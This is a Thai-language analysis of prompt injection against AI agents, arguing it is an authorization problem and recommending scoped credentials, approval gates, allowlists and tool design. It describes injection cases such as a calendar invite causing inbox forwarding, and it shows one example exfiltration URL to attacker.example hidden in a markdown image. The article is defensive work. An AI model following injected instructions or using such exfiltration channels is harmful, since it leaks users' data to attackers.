วิเคราะห์: prompt injection คือปัญหาเรื่องสิทธิ์การเข้าถึง ไม่ใช่ปัญหาเรื่องถ้อยคำ และการมองมันเป็นปัญหาเรื่องถ้อยคำนี่เองที่ทำให้ช่องโหว่นี้ยังคงถูกเจาะได้อยู่เสมอ
มาตรการบรรเทาปัญหาที่ใช้กันมาสามปีไม่สามารถปิดช่องโหว่นี้ได้ เพราะช่องโหว่ไม่ได้อยู่ที่การใช้ถ้อยคำ บทความนี้นำเสนอแบบจำลองเชิงปฏิบัติว่าความปลอดภัยของเอเจนต์ AI แท้จริงแล้วอยู่ตรงไหน และการวางระบบที่ป้องกันได้จริงควรมีหน้าตาอย่างไร
คำตอบโดยย่อ
เหตุใด prompt injection จึงแก้ไม่หาย และทีมงานควรทำอะไรแทน
โมเดลภาษาไม่สามารถแยกแยะระหว่างคำสั่งกับข้อมูลได้อย่างน่าเชื่อถือ เพราะทั้งสองอย่างเข้ามาในรูปของสายอักขระโทเคนเดียวกัน นี่คือคุณสมบัติเชิงโครงสร้าง ไม่ใช่ข้อบกพร่องของโมเดลใดโมเดลหนึ่ง ดังนั้นจึงไม่มีพรอมป์ระบบใดที่จะปิดช่องโหว่นี้ได้ การวางระบบที่ป้องกันได้จริงต้องมองทุกอินพุตที่เอเจนต์อ่านว่าอาจเป็นภัยคุกคาม และจำกัดขอบเขตสิ่งที่เอเจนต์ได้รับอนุญาตให้ทำ ได้แก่ การจำกัดขอบเขตเครื่องมือให้แคบ การใช้ข้อมูลรับรองแยกตามเซสชัน การให้มนุษย์อนุมัติก่อนดำเนินการที่ย้อนกลับไม่ได้ และการจำกัดช่องทางออกของข้อมูล เพื่อให้การโจมตีแบบ injection ที่สำเร็จนั้นสร้างความเสียหายเพียงเล็กน้อย ไม่ใช่หายนะร้ายแรง
ประเด็นสำคัญ
- คำสั่งและข้อมูลใช้ช่องทางเดียวกันในโมเดลภาษา ไม่ว่าจะออกแบบพรอมป์อย่างพิถีพิถันเพียงใดก็ไม่อาจสร้างเส้นแบ่งที่โมเดลจะยึดถือได้อย่างน่าเชื่อถือ
- การฉีดคำสั่งจะมีความหมายก็ต่อเมื่อโมเดลสามารถลงมือทำสิ่งใดสิ่งหนึ่งได้จริง ความรุนแรงของการฉีดคำสั่งใด ๆ ขึ้นอยู่กับเครื่องมือที่ผูกติดอยู่กับโมเดล ไม่ใช่ขึ้นอยู่กับข้อความที่จุดชนวนมัน
- คำถามที่ควรตั้งในการออกแบบไม่ใช่ว่าเนื้อหาถูกฉีดคำสั่งได้หรือไม่ แต่คือสิ่งเลวร้ายที่สุดที่เอเจนต์นี้ทำได้ในหนึ่งรอบการทำงานคืออะไร และใครเป็นผู้อนุญาตให้ทำสิ่งนั้น
- ตัวจำแนกสำหรับตรวจจับช่วยลดปริมาณการโจมตี ไม่ได้ลดระดับความเสี่ยง จึงต้องวางแผนรับมือกรณีที่มีการโจมตีหลุดรอดผ่านมาได้ เพราะเมื่อใช้งานในระดับใหญ่ ย่อมมีสักครั้งที่หลุดรอดไป
- มาตรการควบคุมที่ได้ผลที่สุดมักเป็นสิ่งที่ดูไม่หวือหวาที่สุด นั่นคือการจำกัดขอบเขตของสิทธิ์การเข้าถึง การกำหนดปลายทางที่อนุญาตไว้ล่วงหน้า และการตั้งด่านอนุมัติก่อนทำการเขียนข้อมูลใด ๆ
ทุก ๆ ไม่กี่เดือน จะมีตัวอย่างสาธิตใหม่แพร่สะพัดออกมา ไม่ว่าจะเป็นคำเชิญในปฏิทินที่ทำให้ผู้ช่วยส่งต่อกล่องจดหมาย หน้าเว็บที่ทำให้เอเจนต์ท่องเว็บเผยโทเค็นเซสชัน หรือความคิดเห็นในโค้ดที่ทำให้เอเจนต์จัดการคลังโค้ดเปิดคำขอดึงโค้ดโดยไม่มีใครร้องขอ ตัวอย่างเหล่านี้เปลี่ยนไปเรื่อย ๆ แต่ปฏิกิริยาตอบสนองแทบไม่เคยเปลี่ยน มีคนเสนอให้เขียนพรอมต์ระบบให้หนักแน่นขึ้น อีกคนเสนอให้ใช้ตัวจำแนกประเภท แล้วอุตสาหกรรมก็เดินหน้าต่อไปจนกว่าจะเกิดกรณีถัดไป
รูปแบบนี้เกิดซ้ำเพราะปัญหาถูกจัดเข้าหมวดผิด การแทรกคำสั่งผ่านพรอมต์ถูกมองว่าเป็นปัญหาการกรองเนื้อหา ทั้งที่แท้จริงแล้วเป็นปัญหาการอนุญาตสิทธิ์ และปัญหาการอนุญาตสิทธิ์ไม่อาจแก้ได้ด้วยการเลือกถ้อยคำให้ดีขึ้น
เหตุใดเส้นแบ่งนี้จึงไม่มีอยู่จริง
โมเดลภาษารับข้อมูลเป็นลำดับเดียว พรอมต์ระบบ ข้อความของผู้ใช้ เนื้อหาจากเอกสารที่ดึงมา ผลลัพธ์จากการเรียกใช้เครื่องมือ และข้อความบนหน้าเว็บ ล้วนเข้ามาเป็นโทเค็นในลำดับเดียวกัน โมเดลได้รับการฝึกให้ทำตามคำสั่งที่พบในลำดับนั้น ไม่มีช่องทางพิเศษที่แยกออกมาและมีอภิสิทธิ์สำหรับส่งเจตนาของผู้ควบคุมระบบ และไม่มีกลไกที่กำหนดให้ข้อความบางช่วงเป็นเพียงข้อมูลที่ไม่ก่อให้เกิดการกระทำ
นี่คือหัวใจทั้งหมดของปัญหา วิศวกรซอฟต์แวร์คุ้นเคยกับโครงสร้างแบบนี้จากการแทรกคำสั่งเอสคิวแอล และการเปรียบเทียบดังกล่าวก็มีประโยชน์ จนกระทั่งถึงจุดที่ทั้งสองกรณีแตกต่างกัน การแทรกคำสั่งเอสคิวแอลแก้ได้ด้วยคำสั่งที่เตรียมไว้ล่วงหน้า ฐานข้อมูลจึงรับโครงสร้างคำสั่งค้นหาและค่าพารามิเตอร์ผ่านคนละช่องทาง ทำให้ไม่ว่าค่าดังกล่าวจะถูกออกแบบมาอย่างแยบยลเพียงใด ก็ไม่อาจเปลี่ยนโครงสร้างของคำสั่งได้ แต่ไม่มีคำสั่งที่เตรียมไว้ล่วงหน้าสำหรับโมเดลภาษา ยังไม่มีใครนำกลไกทั่วไปที่ช่วยให้โมเดลรับคำสั่งและข้อมูลแยกจากกันมาใช้งานจริง พร้อมรับประกันได้ว่าโมเดลจะเคารพความแตกต่างนั้น
ตัวคั่นไม่ได้สร้างกลไกดังกล่าวขึ้นมา การทำเครื่องหมายเนื้อหาที่ไม่น่าเชื่อถือด้วยแท็ก แฮช หรือตัวคั่นที่ผิดจากปกติช่วยป้องกันความพยายามที่ไม่ซับซ้อนได้ และควรทำ แต่เครื่องหมายนั้นก็เป็นเพียงข้อความในกระแสข้อมูลเดียวกัน และคำสั่งที่ตรงไปตรงมามากพอซึ่งวางอยู่ในพื้นที่ที่ทำเครื่องหมายไว้ก็ยังอาจได้รับการปฏิบัติตาม โดยเฉพาะเมื่อคำสั่งนั้นเฉพาะเจาะจงกว่าและปรากฏทีหลังกว่าคำสั่งป้องกันแบบกว้าง ๆ ที่อยู่ก่อนหน้า
การแทรกคำสั่งที่ไร้ขีดความสามารถเป็นเพียงเรื่องน่าสนใจ
นี่คือการปรับกรอบความคิดที่จะเปลี่ยนการตัดสินใจด้านการออกแบบ คำสั่งที่ถูกแทรกเข้ามาจะมีความสำคัญก็ต่อเมื่อโมเดลสามารถ ลงมือทำ บางสิ่งบางอย่างตามคำสั่งนั้นได้
โมเดลที่อ่านหน้าเว็บอันตรายแล้วสร้างข้อความออกมา อาจถูกชักนำให้กล่าวสิ่งที่ผิด นั่นเป็นปัญหาด้านคุณภาพ ซึ่งเกิดขึ้นจริงแต่มีขอบเขตจำกัด ทว่าโมเดลเดียวกันที่มีเครื่องมือส่งอีเมล ไคลเอนต์เอชทีทีพี และโทเค็นโอออทที่ใช้งานได้ต่อเนื่อง กลับเป็นระบบอีกแบบหนึ่ง หน้าเว็บอันตรายกลายเป็นเส้นทางเรียกใช้โค้ดจากระยะไกลเข้าสู่ทุกสิ่งที่ข้อมูลรับรองเหล่านั้นเข้าถึงได้
ดังนั้น ความรุนแรงของการแทรกคำสั่งจึงไม่ใช่คุณสมบัติของตัวข้อความ แต่เป็นคุณสมบัติของชุดเครื่องมือที่เชื่อมต่อกับโมเดลในขณะที่โมเดลอ่านข้อความนั้น การนำโมเดลเดียวกันไปใช้งานสองระบบ โดยใช้พรอมต์ระบบและมาตรการป้องกันเดียวกัน อาจให้ผลลัพธ์เลวร้ายที่สุดต่างกันหลายลำดับขนาด เพียงเพราะระบบหนึ่งมีโทเค็นที่ให้สิทธิ์เขียนอยู่ในวงจรการทำงาน
ด้วยเหตุนี้ คำถามว่า พรอมต์ของเราถูกแทรกคำสั่งได้ง่ายเพียงใด จึงเป็นตัวชี้วัดที่ผิด ส่วนคำถามว่า สิ่งเลวร้ายที่สุดที่เอเจนต์นี้ทำได้ภายในการทำงานหนึ่งรอบคืออะไร จึงเป็นคำถามที่ถูกต้อง คำถามหลังมีคำตอบที่สามารถบันทึกเป็นลายลักษณ์อักษร ส่งให้ผู้ตรวจสอบความปลอดภัย และนำไปทดสอบได้
โครงสร้างที่ถูกเจาะซ้ำแล้วซ้ำเล่า
สถานการณ์ร้ายแรงที่มีลักษณะใกล้เคียงเหตุการณ์ด้านความปลอดภัยแทบทุกกรณีประกอบด้วยปัจจัยสามอย่างเหมือนกัน ได้แก่
- ข้อมูลขาเข้าที่ไม่น่าเชื่อถือเข้าถึงโมเดลได้ ไม่ว่าจะเป็นเนื้อหาอีเมล หน้าเว็บ ไฟล์พีดีเอฟ ระบบติดตามปัญหา คำเชิญในปฏิทิน ความคิดเห็นในโค้ด ชื่อไฟล์ ผลลัพธ์จากการรู้จำอักขระด้วยแสง หรือบทถอดเสียง กล่าวคือทุกสิ่งที่บุคคลภายนอกเขียนข้อมูลลงไปได้
- โมเดลถือข้อมูลรับรองที่มีอายุยาวและขอบเขตกว้าง เช่น โทเค็นเอพีไออายุยาว บัญชีบริการ คุกกี้เซสชัน หรือกุญแจเอสเอสเอชที่เชื่อมต่อเข้ากับแซนด์บ็อกซ์
- มีเส้นทางส่งข้อมูลออก เช่น ไคลเอนต์เอชทีทีพี เครื่องมืออีเมล เว็บฮุก การผลักข้อมูลด้วยกิต หรือแม้แต่ยูอาร์แอลของภาพที่ตัวแสดงผลจะเรียกโหลด
หากตัดปัจจัยใดปัจจัยหนึ่งออกไป การโจมตีที่มีนัยสำคัญจะทำได้ยากขึ้นมาก นี่ต่างหากคือกลไกการออกแบบที่ใช้ควบคุมความเสี่ยงได้จริง และสามารถทำได้ตั้งแต่วันนี้โดยไม่ต้องรอโมเดลที่ต้านทานการแทรกคำสั่ง
ปัจจัยข้อสามควรได้รับความสนใจเป็นพิเศษ เพราะมักมองไม่เห็น การแสดงผลภาพในมาร์กดาวน์เป็นช่องทางลอบส่งข้อมูลออก เอเจนต์ที่สร้างแท็กภาพซึ่งชี้ไปยัง https://attacker.example/?d=SECRET บนพื้นที่ที่แสดงผลภาพ เท่ากับส่งคำขอออกไปพร้อมเนื้อหาที่ผู้โจมตีเลือก โดยไม่ต้องเรียกใช้เครื่องมือใด ๆ เลย ทีมที่จำกัดเครื่องมือเอชทีทีพีไว้เฉพาะรายการที่อนุญาตอย่างรอบคอบ แต่กลับแสดงผลลัพธ์จากเอเจนต์เป็นริชมาร์กดาวน์ ยังคงเปิดประตูหลังทิ้งไว้
มาตรการควบคุมที่เปลี่ยนระดับความเสี่ยงได้จริง
ลำดับต่อไปนี้จัดไว้อย่างจงใจ มาตรการเชิงโครงสร้างที่มีต้นทุนต่ำให้ผลมากกว่ามาตรการเชิงสถิติอันซับซ้อน
จำกัดขอบเขตข้อมูลรับรองให้ตรงกับงาน ไม่ใช่ตัวเอเจนต์ โทเค็นที่เอเจนต์ถืออยู่ขณะสรุปคำร้องของลูกค้ารายหนึ่ง ไม่ควรอ่านคำร้องของลูกค้ารายอื่นได้ นี่คือหลักการให้สิทธิ์เท่าที่จำเป็นตามปกติ แต่ใช้ในระดับเซสชันแทนระดับบริการ มาตรการนี้ให้ผลตอบแทนสูงที่สุดเพียงข้อเดียว เพราะเปลี่ยนสถานการณ์จาก ผู้โจมตีเข้าถึงข้อมูลของเราได้ เป็น ผู้โจมตีเข้าถึงเฉพาะข้อมูลที่คำขอนี้เกี่ยวข้องอยู่แล้ว
วางด่านอนุมัติไว้หน้าการกระทำที่ย้อนคืนไม่ได้และการส่งข้อมูลออก โดยทั่วไป การอ่านข้อมูลสามารถดำเนินการโดยอัตโนมัติได้ ส่วนการเขียน การส่ง การชำระเงิน การลบ การผสาน และการเผยแพร่สู่ภายนอก คือจุดที่การให้มนุษย์ยืนยันคุ้มค่ากับต้นทุน ด่านอนุมัติต้องแสดงว่า จะเกิดอะไรขึ้น ไม่ใช่เพียงแจ้งว่า จะมีบางอย่างเกิดขึ้น กล่องอนุมัติที่เขียนว่า "เอเจนต์ต้องการใช้เครื่องมืออีเมล" จะฝึกให้ผู้คนกดตกลง แต่กล่องที่ระบุชื่อผู้รับและแสดงเนื้อหาอีเมลจะไม่ก่อให้เกิดพฤติกรรมเช่นนั้น
กำหนดรายการปลายทางที่อนุญาต ไม่ใช่เพียงรายการเครื่องมือ เครื่องมือดึงข้อมูลที่ถูกจำกัดให้เข้าถึงเฉพาะโฮสต์ที่รู้จัก แตกต่างอย่างมีนัยสำคัญจากเครื่องมือดึงข้อมูลที่เข้าถึงยูอาร์แอลใดก็ได้ หลักการเดียวกันนี้ใช้กับผู้รับอีเมล ปลายทางเว็บฮุก และรีโมตของกิตด้วย
แยกการวางแผนออกจากการลงมือทำเมื่อระดับความเสี่ยงสมควรให้ทำเช่นนั้น รูปแบบที่พบบ่อยคือการใช้โมเดลสองตัว โมเดลแรกอ่านเนื้อหาที่ไม่น่าเชื่อถือและจัดทำบทสรุปตามโครงสร้างที่กำหนด โดยไม่มีความสามารถเรียกใช้เครื่องมือ ส่วนโมเดลที่สองซึ่งไม่เคยเห็นข้อความดิบที่ไม่น่าเชื่อถือ จะดำเนินการตามผลลัพธ์ที่มีโครงสร้างนั้น วิธีนี้ไม่ได้กำจัดการแทรกคำสั่ง เพราะบทสรุปยังอาจบรรจุเพย์โหลดได้ แต่สคีมาที่มีข้อจำกัดย่อมเป็นช่องทางที่แคบกว่าข้อความอิสระมาก
บันทึกแหล่งที่มาของทุกคำสั่งซึ่งนำไปสู่การกระทำ เมื่อเกิดข้อผิดพลาด คำถามว่า เอกสารใดทำให้เอเจนต์ลงมือเช่นนี้ ต้องมีคำตอบโดยไม่จำเป็นต้องรื้อฟื้นเซสชันจากความทรงจำ
จากนั้นจึงเพิ่มตัวจำแนกประเภท ระบบตรวจจับการแทรกคำสั่ง เครื่องมือตรวจผลลัพธ์ และกฎตรวจจับความผิดปกติล้วนควรนำมาใช้ เพราะช่วยลดปริมาณเหตุการณ์ได้ แต่ควรปฏิบัติต่อเครื่องมือเหล่านี้ตามสถานะที่แท้จริง นั่นคือเป็นตัวกรองเชิงสถิติสำหรับการกระจายตัวของข้อมูลขาเข้าจากฝ่ายตรงข้าม ซึ่งมีประโยชน์ในการลดสิ่งรบกวน แต่ไม่ควรเป็นเสาหลักรองรับขีดความสามารถที่เป็นอันตราย
ผลต่อการออกแบบเครื่องมือ
การแพร่หลายของอินเทอร์เฟซเครื่องมือมาตรฐาน ซึ่งรวมถึงโพรโทคอลบริบทโมเดล ทำให้การเชื่อมต่อขีดความสามารถเข้ากับเอเจนต์เป็นเรื่องง่าย และความง่ายนั้นเองคือความเสี่ยง แค็ตตาล็อกตัวเชื่อมต่อที่แต่ละรายการติดตั้งได้ด้วยคลิกเดียว ทำให้ชุดเครื่องมือขยายตัวเร็วกว่าที่ใครจะปรับแบบจำลองภัยคุกคามตามได้ทัน
แนวปฏิบัติสองประการช่วยลดปัญหานี้ได้ ประการแรก เครื่องมือควรเป็นคำกริยาที่มีขอบเขตแคบ ไม่ใช่เอพีไอแบบกว้าง เครื่องมือ refund_order ที่รับรหัสคำสั่งซื้อและจำนวนเงิน พร้อมเพดานที่บังคับใช้ฝั่งเซิร์ฟเวอร์ ปลอดภัยกว่าเครื่องมือทั่วไปอย่าง call_internal_api ซึ่งรับเมธอด เส้นทาง และเนื้อหาคำขอ แม้เครื่องมืออย่างหลังจะยืดหยุ่นกว่าและเขียนได้ง่ายกว่ามากก็ตาม ความยืดหยุ่นนั้นเองคือสิ่งที่คำสั่งซึ่งถูกแทรกเข้ามานำไปใช้ประโยชน์
ประการที่สอง ขีดความสามารถที่ก่อให้เกิดความเสียหายควรอยู่หลังนโยบายที่โมเดลไม่สามารถโต้แย้งได้ หากขีดจำกัดการคืนเงินถูกบังคับใช้ในการทำงานของเครื่องมือ เหตุผลที่โมเดลใช้พิจารณาว่าสมควรคืนเงินหรือไม่ก็ไม่อาจทำให้วงเงินเกินเพดานได้ แต่หากขีดจำกัดระบุไว้เพียงในพรอมต์ระบบ โมเดลอาจก้าวข้ามได้
ส่วนที่น่าหนักใจ
ไม่มีบทวิเคราะห์ฉบับใดที่ลงท้ายด้วยการประกาศว่าปัญหานี้ได้รับการแก้ไขแล้ว งานวิจัยเรื่องลำดับชั้นของคำสั่ง การฝึกโมเดลให้ความสำคัญกับข้อความระดับระบบ และการแยกช่องทางในระดับสถาปัตยกรรม ล้วนเกิดขึ้นจริงและกำลังก้าวหน้า โมเดลที่ต้านทานการแทรกคำสั่งได้ดีกว่าโมเดลในปัจจุบันอย่างมากย่อมมีคุณค่าอย่างแท้จริง แต่คำว่า ดีขึ้นอย่างมาก ไม่ได้มีความหมายเดียวกับ ปลอดภัยพอที่จะเชื่อมต่อกับข้อมูลรับรองของระบบใช้งานจริง และไม่ควรสร้างแนวทางรักษาความปลอดภัยบนขีดความสามารถที่ยังไม่ถูกนำมาใช้งานจริง
จุดยืนที่นำไปใช้ได้จริงคือแนวทางเดียวกับที่วิศวกรรมความปลอดภัยใช้กับข้อมูลขาเข้าที่ไม่น่าเชื่อถือมาโดยตลอด นั่นคือให้สันนิษฐานว่าข้อมูลดังกล่าวจะทะลุผ่านเข้ามาได้ และต้องทำให้แน่ใจว่าเมื่อเกิดขึ้นแล้ว ความเสียหายจะถูกจำกัดด้วยสิ่งอื่นที่ไม่ใช่วิจารณญาณของโมเดล มาตรการควบคุมทุกข้อในบทความนี้ใช้ได้แล้วในปัจจุบัน ไม่มีข้อใดต้องอาศัยโมเดลใหม่ และเมื่อใช้ร่วมกัน มาตรการเหล่านี้จะเปลี่ยนเหตุการณ์ประเภทหนึ่งจากหายนะให้เหลือเพียงความรำคาญ
นี่เป็นเป้าหมายที่ต่ำกว่า การแก้ปัญหาได้สำเร็จ แต่ก็เป็นเส้นแบ่งระหว่างเอเจนต์ที่นำไปใช้งานจริงได้ กับเอเจนต์ที่ทำได้เพียงนำมาสาธิต
คำถามที่พบบ่อย
- การฉีดคำสั่ง (prompt injection) เหมือนกับการเจลเบรก (jailbreaking) หรือไม่?
- ไม่เหมือนกัน การเจลเบรกคือกรณีที่ผู้ใช้ระบบพยายามทำให้โมเดลเพิกเฉยต่อนโยบายของตัวเอง ส่วนการฉีดคำสั่งคือกรณีที่บุคคลที่สามแอบฝังคำสั่งไว้ในเนื้อหาที่โมเดลอ่าน ผู้โจมตีจึงไม่ใช่ผู้ใช้ และผู้ใช้มักตกเป็นเหยื่อเสียเอง
- การเขียนซิสเต็มพรอมป์ให้ดีขึ้นจะหยุดปัญหานี้ได้หรือไม่?
- ช่วยเพิ่มต้นทุนในการโจมตีและสกัดความพยายามที่ไม่ตั้งใจจริงได้ แต่ไม่ได้สร้างเส้นแบ่งที่แท้จริง เพราะคำสั่งป้องกันและคำสั่งโจมตีล้วนเป็นวัตถุประเภทเดียวกันในสายตาของโมเดล และข้อความที่มาทีหลังหรือเจาะจงกว่ามักเป็นฝ่ายชนะ
- ตัวจำแนกที่ทำหน้าที่เป็นแนวป้องกัน (guardrail) แก้ปัญหานี้ได้จริงหรือไม่?
- ช่วยลดปริมาณความพยายามที่ประสบความสำเร็จได้ ซึ่งคุ้มค่าที่จะทำ แต่มันเป็นเพียงตัวกรองเชิงสถิติบนพื้นที่ข้อมูลนำเข้าที่มีลักษณะปรปักษ์ จึงควรมองว่าเป็นเพียงการลดสัญญาณรบกวน ไม่ใช่มาตรการควบคุมที่ทำให้ความสามารถอันตรายกลายเป็นเรื่องปลอดภัย
- การออกแบบเอเจนต์แบบใดเสี่ยงต่อการถูกโจมตีมากที่สุด?
- เอเจนต์ใดก็ตามที่อ่านเนื้อหาที่ไม่น่าเชื่อถือและถือครองสิทธิ์การเข้าถึงถาวรที่มีขอบเขตกว้าง ผู้ช่วยจัดการอีเมล เอเจนต์ท่องเว็บ บอทคัดกรองตั๋วปัญหา และเอเจนต์จัดการคลังโค้ด ล้วนเป็นตัวอย่างคลาสสิก เพราะรับข้อความที่ผู้โจมตีเขียนขึ้นได้และสามารถลงมือทำการในระบบข้อมูลหลักได้
- มาตรการควบคุมใดมีคุณค่าสูงสุดเพียงข้อเดียว?
- การลดรัศมีความเสียหายของการทำงานในแต่ละรอบ นั่นคือสิทธิ์การเข้าถึงที่ครอบคลุมเฉพาะทรัพยากรที่งานนี้ต้องใช้เท่านั้น และด่านอนุมัติที่เข้มงวดสำหรับการกระทำใด ๆ ที่ย้อนกลับไม่ได้หรือส่งข้อมูลออกสู่ภายนอก
แหล่งข้อมูล
- OWASP Top 10 for LLM Applications — OWASP
- AI Risk Management Framework — NIST
- Model Context Protocol — specification — Model Context Protocol
- Regulation (EU) 2024/1689 — Artificial Intelligence Act — Official Journal of the European Union